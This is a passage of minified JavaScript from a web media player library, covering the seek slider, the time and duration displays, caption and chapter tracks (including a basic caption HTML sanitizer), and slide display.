_dom.hasClass)(t.getElement(t.container), t.options.classPrefix + 'long-video')) { leftPos += parseFloat(tooltipStyles.marginLeft) / 2 + t.timefloat.offsetWidth / 2; } t.timefloat.style.left = leftPos + 'px'; t.timefloatcurrent.innerHTML = (0, _time.secondsToTimeCode)(t.newTime, player.options.alwaysShowHours, player.options.showTimecodeFrameCount, player.options.framesPerSecond, player.options.secondsDecimalLength, player.options.timeFormat); t.timefloat.style.display = 'block'; } } } else if (!_constants.IS_IOS && !_constants.IS_ANDROID && t.timefloat) { leftPos = t.timefloat.offsetWidth + width >= t.getElement(t.container).offsetWidth ? t.timefloat.offsetWidth / 2 : 0; t.timefloat.style.left = leftPos + 'px'; t.timefloat.style.left = leftPos + 'px'; t.timefloat.style.display = 'block'; } }, updateSlider = function updateSlider() { var seconds = t.getCurrentTime(), timeSliderText = _i18n2.default.t('mejs.time-slider'), time = (0, _time.secondsToTimeCode)(seconds, player.options.alwaysShowHours, player.options.showTimecodeFrameCount, player.options.framesPerSecond, player.options.secondsDecimalLength, player.options.timeFormat), duration = t.getDuration(); t.slider.setAttribute('role', 'slider'); t.slider.tabIndex = 0; if (media.paused) { t.slider.setAttribute('aria-label', timeSliderText); t.slider.setAttribute('aria-valuemin', 0); t.slider.setAttribute('aria-valuemax', isNaN(duration) ? 0 : duration); t.slider.setAttribute('aria-valuenow', seconds); t.slider.setAttribute('aria-valuetext', time); } else { t.slider.removeAttribute('aria-label'); t.slider.removeAttribute('aria-valuemin'); t.slider.removeAttribute('aria-valuemax'); t.slider.removeAttribute('aria-valuenow'); t.slider.removeAttribute('aria-valuetext'); } }, restartPlayer = function restartPlayer() { if (new Date() - lastKeyPressTime >= 1000) { t.play(); } }, handleMouseup = function handleMouseup() { if (mouseIsDown && t.getCurrentTime() !== null && t.newTime.toFixed(4) !== t.getCurrentTime().toFixed(4)) { t.setCurrentTime(t.newTime); t.setCurrentRailHandle(t.newTime); t.updateCurrent(t.newTime); } if (t.forcedHandlePause) { t.slider.focus(); t.play(); } t.forcedHandlePause = false; }; t.slider.addEventListener('focus', function () { player.options.autoRewind = false; }); t.slider.addEventListener('blur', function () { player.options.autoRewind = autoRewindInitial; }); t.slider.addEventListener('keydown', function (e) { if (new Date() - lastKeyPressTime >= 1000) { startedPaused = t.paused; } if (t.options.enableKeyboard && t.options.keyActions.length) { var keyCode = e.which || e.keyCode || 0, duration = t.getDuration(), seekForward = player.options.defaultSeekForwardInterval(media), seekBackward = player.options.defaultSeekBackwardInterval(media); var seekTime = t.getCurrentTime(); var volume = t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'volume-slider'); if (keyCode === 38 || keyCode === 40) { if (volume) { volume.style.display = 'block'; } if (t.isVideo) { t.showControls(); t.startControlsTimer(); } var newVolume = keyCode === 38 ? Math.min(t.volume + 0.1, 1) : Math.max(t.volume - 0.1, 0), mutePlayer = newVolume <= 0; t.setVolume(newVolume); t.setMuted(mutePlayer); return; } else { if (volume) { volume.style.display = 'none'; } } switch (keyCode) { case 37: if (t.getDuration() !== Infinity) { seekTime -= seekBackward; } break; case 39: if (t.getDuration() !== Infinity) { seekTime += seekForward; } break; case 36: seekTime = 0; break; case 35: seekTime = duration; break; case 13: case 32: if (_constants.IS_FIREFOX) { if (t.paused) { t.play(); } else { t.pause(); } } return; default: return; } seekTime = seekTime < 0 || isNaN(seekTime) ? 0 : seekTime >= duration ? duration : Math.floor(seekTime); lastKeyPressTime = new Date(); if (!startedPaused) { player.pause(); } setTimeout(function () { t.setCurrentTime(seekTime); }, 0); if (seekTime < t.getDuration() && !startedPaused) { setTimeout(restartPlayer, 1100); } player.showControls(); e.preventDefault(); e.stopPropagation(); } }); var events = ['mousedown', 'touchstart']; t.slider.addEventListener('dragstart', function () { return false; }); for (var i = 0, total = events.length; i < total; i++) { t.slider.addEventListener(events[i], function (e) { t.forcedHandlePause = false; if (t.getDuration() !== Infinity) { if (e.which === 1 || e.which === 0) { if (!t.paused) { t.pause(); t.forcedHandlePause = true; } mouseIsDown = true; handleMouseMove(e); var endEvents = ['mouseup', 'touchend']; for (var j = 0, totalEvents = endEvents.length; j < totalEvents; j++) { t.getElement(t.container).addEventListener(endEvents[j], function (event) { var target = event.target; if (target === t.slider || target.closest('.' + t.options.classPrefix + 'time-slider')) { handleMouseMove(event); } }); } t.globalBind('mouseup.dur touchend.dur', function () { handleMouseup(); mouseIsDown = false; if (t.timefloat) { t.timefloat.style.display = 'none'; } }); } } }, _constants.SUPPORT_PASSIVE_EVENT && events[i] === 'touchstart' ? { passive: true } : false); } t.slider.addEventListener('mouseenter', function (e) { if (e.target === t.slider && t.getDuration() !== Infinity) { t.getElement(t.container).addEventListener('mousemove', function (event) { var target = event.target; if (target === t.slider || target.closest('.' + t.options.classPrefix + 'time-slider')) { handleMouseMove(event); } }); if (t.timefloat && !_constants.IS_IOS && !_constants.IS_ANDROID) { t.timefloat.style.display = 'block'; } if (t.hovered && !_constants.IS_IOS && !_constants.IS_ANDROID && t.options.useSmoothHover) { (0, _dom.removeClass)(t.hovered, 'no-hover'); } } }); t.slider.addEventListener('mouseleave', function () { if (t.getDuration() !== Infinity) { if (!mouseIsDown) { if (t.timefloat) { t.timefloat.style.display = 'none'; } if (t.hovered && t.options.useSmoothHover) { (0, _dom.addClass)(t.hovered, 'no-hover'); } } } }); t.broadcastCallback = function (e) { var broadcast = controls.querySelector('.' + t.options.classPrefix + 'broadcast'); if (!t.options.forceLive && t.getDuration() !== Infinity) { if (broadcast) { t.slider.style.display = ''; broadcast.remove(); } player.setProgressRail(e); if (!t.forcedHandlePause) { player.setCurrentRail(e); } updateSlider(); } else if (!broadcast && t.options.forceLive) { var label = _document2.default.createElement('span'); label.className = t.options.classPrefix + 'broadcast'; label.innerText = _i18n2.default.t('mejs.live-broadcast'); t.slider.style.display = 'none'; t.rail.appendChild(label); } }; media.addEventListener('progress', t.broadcastCallback); media.addEventListener('timeupdate', t.broadcastCallback); media.addEventListener('play', function () { t.buffer.style.display = 'none'; }); media.addEventListener('playing', function () { t.buffer.style.display = 'none'; }); media.addEventListener('seeking', function () { t.buffer.style.display = ''; }); media.addEventListener('seeked', function () { t.buffer.style.display = 'none'; }); media.addEventListener('pause', function () { t.buffer.style.display = 'none'; }); media.addEventListener('waiting', function () { t.buffer.style.display = ''; }); media.addEventListener('loadeddata', function () { t.buffer.style.display = ''; }); media.addEventListener('canplay', function () { t.buffer.style.display = 'none'; }); media.addEventListener('error', function () { t.buffer.style.display = 'none'; }); t.getElement(t.container).addEventListener('controlsresize', function (e) { if (t.getDuration() !== Infinity) { player.setProgressRail(e); if (!t.forcedHandlePause) { player.setCurrentRail(e); } } }); }, cleanprogress: function cleanprogress(player, controls, layers, media) { media.removeEventListener('progress', player.broadcastCallback); media.removeEventListener('timeupdate', player.broadcastCallback); if (player.rail) { player.rail.remove(); } }, setProgressRail: function setProgressRail(e) { var t = this, target = e !== undefined ? e.detail.target || e.target : t.media; var percent = null; if (target && target.buffered && target.buffered.length > 0 && target.buffered.end && t.getDuration()) { percent = target.buffered.end(target.buffered.length - 1) / t.getDuration(); } else if (target && target.bytesTotal !== undefined && target.bytesTotal > 0 && target.bufferedBytes !== undefined) { percent = target.bufferedBytes / target.bytesTotal; } else if (e && e.lengthComputable && e.total !== 0) { percent = e.loaded / e.total; } if (percent !== null) { percent = Math.min(1, Math.max(0, percent)); if (t.loaded) { t.setTransformStyle(t.loaded, 'scaleX(' + percent + ')'); } } }, setCurrentRailHandle: function setCurrentRailHandle(fakeTime) { var t = this; t.setCurrentRailMain(t, fakeTime); }, setCurrentRail: function setCurrentRail() { var t = this; t.setCurrentRailMain(t); }, setCurrentRailMain: function setCurrentRailMain(t, fakeTime) { if (t.getCurrentTime() !== undefined && t.getDuration()) { var nTime = typeof fakeTime === 'undefined' ? t.getCurrentTime() : fakeTime; if (t.total && t.handle) { var tW = parseFloat(getComputedStyle(t.total).width); var newWidth = Math.round(tW * nTime / t.getDuration()), handlePos = newWidth - Math.round(t.handle.offsetWidth / 2); handlePos = handlePos < 0 ? 0 : handlePos; t.setTransformStyle(t.current, 'scaleX(' + newWidth / tW + ')'); t.setTransformStyle(t.handle, 'translateX(' + handlePos + 'px)'); if (t.options.useSmoothHover && !(0, _dom.hasClass)(t.hovered, 'no-hover')) { var pos = parseInt(t.hovered.getAttribute('pos'), 10); pos = isNaN(pos) ? 0 : pos; var hoverScaleX = pos / tW - handlePos / tW; t.hovered.style.left = handlePos + 'px'; t.setTransformStyle(t.hovered, 'scaleX(' + hoverScaleX + ')'); if (hoverScaleX >= 0) { (0, _dom.removeClass)(t.hovered, 'negative'); } else { (0, _dom.addClass)(t.hovered, 'negative'); } } } } } }); },{"16":16,"2":2,"25":25,"26":26,"30":30,"5":5}],12:[function(_dereq_,module,exports){ 'use strict'; var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _player = _dereq_(16); var _player2 = _interopRequireDefault(_player); var _time = _dereq_(30); var _dom = _dereq_(26); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } Object.assign(_player.config, { duration: 0, timeAndDurationSeparator: '<span> | </span>' }); Object.assign(_player2.default.prototype, { buildcurrent: function buildcurrent(player, controls, layers, media) { var t = this, time = _document2.default.createElement('div'); time.className = t.options.classPrefix + 'time'; time.setAttribute('role', 'timer'); time.setAttribute('aria-live', 'off'); time.innerHTML = '<span class="' + t.options.classPrefix + 'currenttime">' + (0, _time.secondsToTimeCode)(0, player.options.alwaysShowHours, player.options.showTimecodeFrameCount, player.options.framesPerSecond, player.options.secondsDecimalLength, player.options.timeFormat) + '</span>'; t.addControlElement(time, 'current'); player.updateCurrent(); t.updateTimeCallback = function () { if (t.controlsAreVisible) { player.updateCurrent(); } }; media.addEventListener('timeupdate', t.updateTimeCallback); }, cleancurrent: function cleancurrent(player, controls, layers, media) { media.removeEventListener('timeupdate', player.updateTimeCallback); }, buildduration: function buildduration(player, controls, layers, media) { var t = this, currTime = controls.lastChild.querySelector('.' + t.options.classPrefix + 'currenttime'); if (currTime) { controls.querySelector('.' + t.options.classPrefix + 'time').innerHTML += t.options.timeAndDurationSeparator + '<span class="' + t.options.classPrefix + 'duration">' + ((0, _time.secondsToTimeCode)(t.options.duration, t.options.alwaysShowHours, t.options.showTimecodeFrameCount, t.options.framesPerSecond, t.options.secondsDecimalLength, t.options.timeFormat) + '</span>'); } else { if (controls.querySelector('.' + t.options.classPrefix + 'currenttime')) { (0, _dom.addClass)(controls.querySelector('.' + t.options.classPrefix + 'currenttime').parentNode, t.options.classPrefix + 'currenttime-container'); } var duration = _document2.default.createElement('div'); duration.className = t.options.classPrefix + 'time ' + t.options.classPrefix + 'duration-container'; duration.innerHTML = '<span class="' + t.options.classPrefix + 'duration">' + ((0, _time.secondsToTimeCode)(t.options.duration, t.options.alwaysShowHours, t.options.showTimecodeFrameCount, t.options.framesPerSecond, t.options.secondsDecimalLength, t.options.timeFormat) + '</span>'); t.addControlElement(duration, 'duration'); } t.updateDurationCallback = function () { if (t.controlsAreVisible) { player.updateDuration(); } }; media.addEventListener('timeupdate', t.updateDurationCallback); }, cleanduration: function cleanduration(player, controls, layers, media) { media.removeEventListener('timeupdate', player.updateDurationCallback); }, updateCurrent: function updateCurrent() { var t = this; var currentTime = t.getCurrentTime(); if (isNaN(currentTime)) { currentTime = 0; } var timecode = (0, _time.secondsToTimeCode)(currentTime, t.options.alwaysShowHours, t.options.showTimecodeFrameCount, t.options.framesPerSecond, t.options.secondsDecimalLength, t.options.timeFormat); if (timecode.length > 5) { (0, _dom.addClass)(t.getElement(t.container), t.options.classPrefix + 'long-video'); } else { (0, _dom.removeClass)(t.getElement(t.container), t.options.classPrefix + 'long-video'); } if (t.getElement(t.controls).querySelector('.' + t.options.classPrefix + 'currenttime')) { t.getElement(t.controls).querySelector('.' + t.options.classPrefix + 'currenttime').innerText = timecode; } }, updateDuration: function updateDuration() { var t = this; var duration = t.getDuration(); if (t.media !== undefined && (isNaN(duration) || duration === Infinity || duration < 0)) { t.media.duration = t.options.duration = duration = 0; } if (t.options.duration > 0) { duration = t.options.duration; } var timecode = (0, _time.secondsToTimeCode)(duration, t.options.alwaysShowHours, t.options.showTimecodeFrameCount, t.options.framesPerSecond, t.options.secondsDecimalLength, t.options.timeFormat); if (timecode.length > 5) { (0, _dom.addClass)(t.getElement(t.container), t.options.classPrefix + 'long-video'); } else { (0, _dom.removeClass)(t.getElement(t.container), t.options.classPrefix + 'long-video'); } if (t.getElement(t.controls).querySelector('.' + t.options.classPrefix + 'duration') && duration > 0) { t.getElement(t.controls).querySelector('.' + t.options.classPrefix + 'duration').innerHTML = timecode; } } }); },{"16":16,"2":2,"26":26,"30":30}],13:[function(_dereq_,module,exports){ 'use strict'; var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _i18n = _dereq_(5); var _i18n2 = _interopRequireDefault(_i18n); var _player = _dereq_(16); var _player2 = _interopRequireDefault(_player); var _time = _dereq_(30); var _general = _dereq_(27); var _dom = _dereq_(26); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } Object.assign(_player.config, { startLanguage: '', tracksText: null, chaptersText: null, tracksAriaLive: false, hideCaptionsButtonWhenEmpty: true, toggleCaptionsButtonWhenOnlyOne: false, slidesSelector: '' }); Object.assign(_player2.default.prototype, { hasChapters: false, buildtracks: function buildtracks(player, controls, layers, media) { this.findTracks(); if (!player.tracks.length && (!player.trackFiles || !player.trackFiles.length === 0)) { return; } var t = this, attr = t.options.tracksAriaLive ? ' role="log" aria-live="assertive" aria-atomic="false"' : '', tracksTitle = (0, _general.isString)(t.options.tracksText) ? t.options.tracksText : _i18n2.default.t('mejs.captions-subtitles'), chaptersTitle = (0, _general.isString)(t.options.chaptersText) ? t.options.chaptersText : _i18n2.default.t('mejs.captions-chapters'), total = player.trackFiles === null ? player.tracks.length : player.trackFiles.length; if (t.domNode.textTracks) { for (var i = t.domNode.textTracks.length - 1; i >= 0; i--) { t.domNode.textTracks[i].mode = 'hidden'; } } t.cleartracks(player); player.captions = _document2.default.createElement('div'); player.captions.className = t.options.classPrefix + 'captions-layer ' + t.options.classPrefix + 'layer'; player.captions.innerHTML = '<div class="' + t.options.classPrefix + 'captions-position ' + t.options.classPrefix + 'captions-position-hover"' + attr + '>' + ('<span class="' + t.options.classPrefix + 'captions-text"></span>') + '</div>'; player.captions.style.display = 'none'; layers.insertBefore(player.captions, layers.firstChild); player.captionsText = player.captions.querySelector('.' + t.options.classPrefix + 'captions-text'); player.captionsButton = _document2.default.createElement('div'); player.captionsButton.className = t.options.classPrefix + 'button ' + t.options.classPrefix + 'captions-button'; player.captionsButton.innerHTML = '<button type="button" aria-controls="' + t.id + '" title="' + tracksTitle + '" aria-label="' + tracksTitle + '" tabindex="0"></button>' + ('<div class="' + t.options.classPrefix + 'captions-selector ' + t.options.classPrefix + 'offscreen">') + ('<ul class="' + t.options.classPrefix + 'captions-selector-list">') + ('<li class="' + t.options.classPrefix + 'captions-selector-list-item">') + ('<input type="radio" class="' + t.options.classPrefix + 'captions-selector-input" ') + ('name="' + player.id + '_captions" id="' + player.id + '_captions_none" ') + 'value="none" checked disabled>' + ('<label class="' + t.options.classPrefix + 'captions-selector-label ') + (t.options.classPrefix + 'captions-selected" ') + ('for="' + player.id + '_captions_none">' + _i18n2.default.t('mejs.none') + '</label>') + '</li>' + '</ul>' + '</div>'; t.addControlElement(player.captionsButton, 'tracks'); player.captionsButton.querySelector('.' + t.options.classPrefix + 'captions-selector-input').disabled = false; player.chaptersButton = _document2.default.createElement('div'); player.chaptersButton.className = t.options.classPrefix + 'button ' + t.options.classPrefix + 'chapters-button'; player.chaptersButton.innerHTML = '<button type="button" aria-controls="' + t.id + '" title="' + chaptersTitle + '" aria-label="' + chaptersTitle + '" tabindex="0"></button>' + ('<div class="' + t.options.classPrefix + 'chapters-selector ' + t.options.classPrefix + 'offscreen">') + ('<ul class="' + t.options.classPrefix + 'chapters-selector-list"></ul>') + '</div>'; var subtitleCount = 0; for (var _i = 0; _i < total; _i++) { var kind = player.tracks[_i].kind, src = player.tracks[_i].src; if (src.trim()) { if (kind === 'subtitles' || kind === 'captions') { subtitleCount++; } else if (kind === 'chapters' && !controls.querySelector('.' + t.options.classPrefix + 'chapter-selector')) { player.captionsButton.parentNode.insertBefore(player.chaptersButton, player.captionsButton); } } } player.trackToLoad = -1; player.selectedTrack = null; player.isLoadingTrack = false; for (var _i2 = 0; _i2 < total; _i2++) { var _kind = player.tracks[_i2].kind; if (player.tracks[_i2].src.trim() && (_kind === 'subtitles' || _kind === 'captions')) { player.addTrackButton(player.tracks[_i2].trackId, player.tracks[_i2].srclang, player.tracks[_i2].label); } } player.loadNextTrack(); var inEvents = ['mouseenter', 'focusin'], outEvents = ['mouseleave', 'focusout']; if (t.options.toggleCaptionsButtonWhenOnlyOne && subtitleCount === 1) { player.captionsButton.addEventListener('click', function (e) { var trackId = 'none'; if (player.selectedTrack === null) { trackId = player.tracks[0].trackId; } var keyboard = e.keyCode || e.which; player.setTrack(trackId, typeof keyboard !== 'undefined'); }); } else { var labels = player.captionsButton.querySelectorAll('.' + t.options.classPrefix + 'captions-selector-label'), captions = player.captionsButton.querySelectorAll('input[type=radio]'); for (var _i3 = 0, _total = inEvents.length; _i3 < _total; _i3++) { player.captionsButton.addEventListener(inEvents[_i3], function () { (0, _dom.removeClass)(this.querySelector('.' + t.options.classPrefix + 'captions-selector'), t.options.classPrefix + 'offscreen'); }); } for (var _i4 = 0, _total2 = outEvents.length; _i4 < _total2; _i4++) { player.captionsButton.addEventListener(outEvents[_i4], function () { (0, _dom.addClass)(this.querySelector('.' + t.options.classPrefix + 'captions-selector'), t.options.classPrefix + 'offscreen'); }); } for (var _i5 = 0, _total3 = captions.length; _i5 < _total3; _i5++) { captions[_i5].addEventListener('click', function (e) { var keyboard = e.keyCode || e.which; player.setTrack(this.value, typeof keyboard !== 'undefined'); }); } for (var _i6 = 0, _total4 = labels.length; _i6 < _total4; _i6++) { labels[_i6].addEventListener('click', function (e) { var radio = (0, _dom.siblings)(this, function (el) { return el.tagName === 'INPUT'; })[0], event = (0, _general.createEvent)('click', radio); radio.dispatchEvent(event); e.preventDefault(); }); } player.captionsButton.addEventListener('keydown', function (e) { e.stopPropagation(); }); } for (var _i7 = 0, _total5 = inEvents.length; _i7 < _total5; _i7++) { player.chaptersButton.addEventListener(inEvents[_i7], function () { if (this.querySelector('.' + t.options.classPrefix + 'chapters-selector-list').children.length) { (0, _dom.removeClass)(this.querySelector('.' + t.options.classPrefix + 'chapters-selector'), t.options.classPrefix + 'offscreen'); } }); } for (var _i8 = 0, _total6 = outEvents.length; _i8 < _total6; _i8++) { player.chaptersButton.addEventListener(outEvents[_i8], function () { (0, _dom.addClass)(this.querySelector('.' + t.options.classPrefix + 'chapters-selector'), t.options.classPrefix + 'offscreen'); }); } player.chaptersButton.addEventListener('keydown', function (e) { e.stopPropagation(); }); if (!player.options.alwaysShowControls) { player.getElement(player.container).addEventListener('controlsshown', function () { (0, _dom.addClass)(player.getElement(player.container).querySelector('.' + t.options.classPrefix + 'captions-position'), t.options.classPrefix + 'captions-position-hover'); }); player.getElement(player.container).addEventListener('controlshidden', function () { if (!media.paused) { (0, _dom.removeClass)(player.getElement(player.container).querySelector('.' + t.options.classPrefix + 'captions-position'), t.options.classPrefix + 'captions-position-hover'); } }); } else { (0, _dom.addClass)(player.getElement(player.container).querySelector('.' + t.options.classPrefix + 'captions-position'), t.options.classPrefix + 'captions-position-hover'); } media.addEventListener('timeupdate', function () { player.displayCaptions(); }); if (player.options.slidesSelector !== '') { player.slidesContainer = _document2.default.querySelectorAll(player.options.slidesSelector); media.addEventListener('timeupdate', function () { player.displaySlides(); }); } }, cleartracks: function cleartracks(player) { if (player) { if (player.captions) { player.captions.remove(); } if (player.chapters) { player.chapters.remove(); } if (player.captionsText) { player.captionsText.remove(); } if (player.captionsButton) { player.captionsButton.remove(); } if (player.chaptersButton) { player.chaptersButton.remove(); } } }, rebuildtracks: function rebuildtracks() { var t = this; t.findTracks(); t.buildtracks(t, t.getElement(t.controls), t.getElement(t.layers), t.media); }, findTracks: function findTracks() { var t = this, tracktags = t.trackFiles === null ? t.node.querySelectorAll('track') : t.trackFiles, total = tracktags.length; t.tracks = []; for (var i = 0; i < total; i++) { var track = tracktags[i], srclang = track.getAttribute('srclang').toLowerCase() || '', trackId = t.id + '_track_' + i + '_' + track.getAttribute('kind') + '_' + srclang; t.tracks.push({ trackId: trackId, srclang: srclang, src: track.getAttribute('src'), kind: track.getAttribute('kind'), label: track.getAttribute('label') || '', entries: [], isLoaded: false }); } }, setTrack: function setTrack(trackId, setByKeyboard) { var t = this, radios = t.captionsButton.querySelectorAll('input[type="radio"]'), captions = t.captionsButton.querySelectorAll('.' + t.options.classPrefix + 'captions-selected'), track = t.captionsButton.querySelector('input[value="' + trackId + '"]'); for (var i = 0, total = radios.length; i < total; i++) { radios[i].checked = false; } for (var _i9 = 0, _total7 = captions.length; _i9 < _total7; _i9++) { (0, _dom.removeClass)(captions[_i9], t.options.classPrefix + 'captions-selected'); } track.checked = true; var labels = (0, _dom.siblings)(track, function (el) { return (0, _dom.hasClass)(el, t.options.classPrefix + 'captions-selector-label'); }); for (var _i10 = 0, _total8 = labels.length; _i10 < _total8; _i10++) { (0, _dom.addClass)(labels[_i10], t.options.classPrefix + 'captions-selected'); } if (trackId === 'none') { t.selectedTrack = null; (0, _dom.removeClass)(t.captionsButton, t.options.classPrefix + 'captions-enabled'); } else { for (var _i11 = 0, _total9 = t.tracks.length; _i11 < _total9; _i11++) { var _track = t.tracks[_i11]; if (_track.trackId === trackId) { if (t.selectedTrack === null) { (0, _dom.addClass)(t.captionsButton, t.options.classPrefix + 'captions-enabled'); } t.selectedTrack = _track; t.captions.setAttribute('lang', t.selectedTrack.srclang); t.displayCaptions(); break; } } } var event = (0, _general.createEvent)('captionschange', t.media); event.detail.caption = t.selectedTrack; t.media.dispatchEvent(event); if (!setByKeyboard) { setTimeout(function () { t.getElement(t.container).focus(); }, 500); } }, loadNextTrack: function loadNextTrack() { var t = this; t.trackToLoad++; if (t.trackToLoad < t.tracks.length) { t.isLoadingTrack = true; t.loadTrack(t.trackToLoad); } else { t.isLoadingTrack = false; t.checkForTracks(); } }, loadTrack: function loadTrack(index) { var t = this, track = t.tracks[index]; if (track !== undefined && (track.src !== undefined || track.src !== "")) { (0, _dom.ajax)(track.src, 'text', function (d) { track.entries = typeof d === 'string' && /<tt\s+xml/ig.exec(d) ? _mejs2.default.TrackFormatParser.dfxp.parse(d) : _mejs2.default.TrackFormatParser.webvtt.parse(d); track.isLoaded = true; t.enableTrackButton(track); t.loadNextTrack(); if (track.kind === 'slides') { t.setupSlides(track); } else if (track.kind === 'chapters' && !t.hasChapters) { t.drawChapters(track); t.hasChapters = true; } }, function () { t.removeTrackButton(track.trackId); t.loadNextTrack(); }); } }, enableTrackButton: function enableTrackButton(track) { var t = this, lang = track.srclang, target = _document2.default.getElementById('' + track.trackId); if (!target) { return; } var label = track.label; if (label === '') { label = _i18n2.default.t(_mejs2.default.language.codes[lang]) || lang; } target.disabled = false; var targetSiblings = (0, _dom.siblings)(target, function (el) { return (0, _dom.hasClass)(el, t.options.classPrefix + 'captions-selector-label'); }); for (var i = 0, total = targetSiblings.length; i < total; i++) { targetSiblings[i].innerHTML = label; } if (t.options.startLanguage === lang) { target.checked = true; var event = (0, _general.createEvent)('click', target); target.dispatchEvent(event); } }, removeTrackButton: function removeTrackButton(trackId) { var element = _document2.default.getElementById('' + trackId); if (element) { var button = element.closest('li'); if (button) { button.remove(); } } }, addTrackButton: function addTrackButton(trackId, lang, label) { var t = this; if (label === '') { label = _i18n2.default.t(_mejs2.default.language.codes[lang]) || lang; } t.captionsButton.querySelector('ul').innerHTML += '<li class="' + t.options.classPrefix + 'captions-selector-list-item">' + ('<input type="radio" class="' + t.options.classPrefix + 'captions-selector-input" ') + ('name="' + t.id + '_captions" id="' + trackId + '" value="' + trackId + '" disabled>') + ('<label class="' + t.options.classPrefix + 'captions-selector-label"') + ('for="' + trackId + '">' + label + ' (loading)</label>') + '</li>'; }, checkForTracks: function checkForTracks() { var t = this; var hasSubtitles = false; if (t.options.hideCaptionsButtonWhenEmpty) { for (var i = 0, total = t.tracks.length; i < total; i++) { var kind = t.tracks[i].kind; if ((kind === 'subtitles' || kind === 'captions') && t.tracks[i].isLoaded) { hasSubtitles = true; break; } } t.captionsButton.style.display = hasSubtitles ? '' : 'none'; t.setControlsSize(); } }, displayCaptions: function displayCaptions() { if (this.tracks === undefined) { return; } var t = this, track = t.selectedTrack, sanitize = function sanitize(html) { var div = _document2.default.createElement('div'); div.innerHTML = html; var scripts = div.getElementsByTagName('script'); var i = scripts.length; while (i--) { scripts[i].remove(); } var allElements = div.getElementsByTagName('*'); for (var _i12 = 0, n = allElements.length; _i12 < n; _i12++) { var attributesObj = allElements[_i12].attributes, attributes = Array.prototype.slice.call(attributesObj); for (var j = 0, total = attributes.length; j < total; j++) { if (attributes[j].name.startsWith('on') || attributes[j].value.startsWith('javascript')) { allElements[_i12].remove(); } else if (attributes[j].name === 'style') { allElements[_i12].removeAttribute(attributes[j].name); } } } return div.innerHTML; }; if (track !== null && track.isLoaded) { var i = t.searchTrackPosition(track.entries, t.media.currentTime); if (i > -1) { var text = track.entries[i].text; if (typeof t.options.captionTextPreprocessor === 'function') text = t.options.captionTextPreprocessor(text); t.captionsText.innerHTML = sanitize(text); t.captionsText.className = t.options.classPrefix + 'captions-text ' + (track.entries[i].identifier || ''); t.captions.style.display = ''; t.captions.style.height = '0px'; return; } t.captions.style.display = 'none'; } else { t.captions.style.display = 'none'; } }, setupSlides: function setupSlides(track) { var t = this; t.slides = track; t.slides.entries.imgs = [t.slides.entries.length]; t.showSlide(0); }, showSlide: function showSlide(index) { var _this = this; var t = this; if (t.tracks === undefined || t.slidesContainer === undefined) { return; } var url = t.slides.entries[index].text; var img = t.slides.entries[index].imgs; if (img === undefined || img.fadeIn === undefined) { var image = _document2.default.createElement('img'); image.src = url; image.addEventListener('load', function () { var self = _this, visible = (0, _dom.siblings)(self, function (el) { return visible(el); }); self.style.display = 'none'; t.slidesContainer.innerHTML += self.innerHTML; (0, _dom.fadeIn)(t.slidesContainer.querySelector(image)); for (var i = 0, total = visible.length; i < total; i++) { (0, _dom.fadeOut)(visible[i], 400); } }); t.slides.entries[index].imgs = img = image; } else if (!(0, _dom.visible)(img)) { var _visible = (0, _dom.siblings)(self, function (el) { return _visible(el); }); (0, _dom.fadeIn)(t.slidesContainer.querySelector(img)); for (var i = 0, total = _visible.length; i < total; i++) { (0, _dom.fadeOut)(_visible[i]); } } }, displaySlides: function displaySlides() { var t = this; if (this.slides === undefined) { return; } var slides = t.slides, i = t.searchTrackPosition(slides.entries, t.media.currentTime); if (i > -1) { t.showSlide(i); } }, drawChapters: function drawChapters(chapters) { var t = this, total = chapters.entries.length; if (!total) { return; } t.chaptersButton.querySelector('ul').innerHTML = ''; for (var i = 0; i < total; i++) { t.chaptersButton.querySelector('ul').innerHTML += '<li class="' + t.options.classPrefix + 'chapters-selector-list-item" ' + 'role="menuitemcheckbox" aria-live="polite" aria-disabled="false" aria-checked="false">' + ('<input type="radio" class="' + t.options.classPrefix + 'captions-selector-input" ') + ('name="' + t.id + '_chapters" id="' + t.id + '_chapters_' + i + '" value="' + chapters.entries[i].start + '" disabled>') + ('<label class="' + t.options.classPrefix + 'chapters-selector-label"') + ('for="' + t.id + '_chapters_' + i + '">' + chapters.entries[i].text + '</label>') + '</li>'; } var radios = t.chaptersButton.querySelectorAll('input[type="radio"]'), labels = t.chaptersButton.querySelectorAll('.' + t.options.classPrefix + 'chapters-selector-label'); for (var _i13 = 0, _total10 = radios.length; _i13 < _total10; _i13++) { radios[_i13].disabled = false; radios[_i13].checked = false; radios[_i13].addEventListener('click', function (e) { var self = this, listItems = t.chaptersButton.querySelectorAll('li'), label = (0, _dom.siblings)(self, function (el) { return (0, _dom.hasClass)(el, t.options.classPrefix + 'chapters-selector-label'); })[0]; self.checked = true; self.parentNode.setAttribute('aria-checked', true); (0, _dom.addClass)(label, t.options.classPrefix + 'chapters-selected'); (0, _dom.removeClass)(t.chaptersButton.querySelector('.' + t.options.classPrefix + 'chapters-selected'), t.options.classPrefix + 'chapters-selected'); for (var _i14 = 0, _total11 = listItems.length; _i14 < _total11; _i14++) { listItems[_i14].setAttribute('aria-checked', false); } var keyboard = e.keyCode || e.which; if (typeof keyboard === 'undefined') { setTimeout(function () { t.getElement(t.container).focus(); }, 500); } t.media.setCurrentTime(parseFloat(self.value)); if (t.media.paused) { t.media.play(); } }); } for (var _i15 = 0, _total12 = labels.length; _i15 < _total12; _i15++) { labels[_i15].addEventListener('click', function (e) { var radio = (0, _dom.siblings)(this, function (el) { return el.tagName === 'INPUT'; })[0], event = (0, _general.createEvent)('click', radio); radio.dispatchEvent(event); e.preventDefault(); }); } }, searchTrackPosition: function searchTrackPosition(tracks, currentTime) { var lo = 0, hi = tracks.length - 1, mid = void 0, start = void 0, stop = void 0; while (lo <= hi) { mid = lo + hi >> 1; start = tracks[mid].start; stop = tracks[mid].stop; if (currentTime >= start && currentTime < stop) { return mid; } else if (start < currentTime) { lo = mid + 1; } else if (start > currentTime) { hi = mid - 1; } } return -1; } }); _mejs2.default.language = { codes: { af: 'mejs.afrikaans', sq: 'mejs.albanian', ar: 'mejs.arabic', be: 'mejs.belarusian', bg: 'mejs.bulgarian', ca: 'mejs.catalan', zh: 'mejs.chinese', 'zh-cn': 'mejs.chinese-simplified', 'zh-tw': 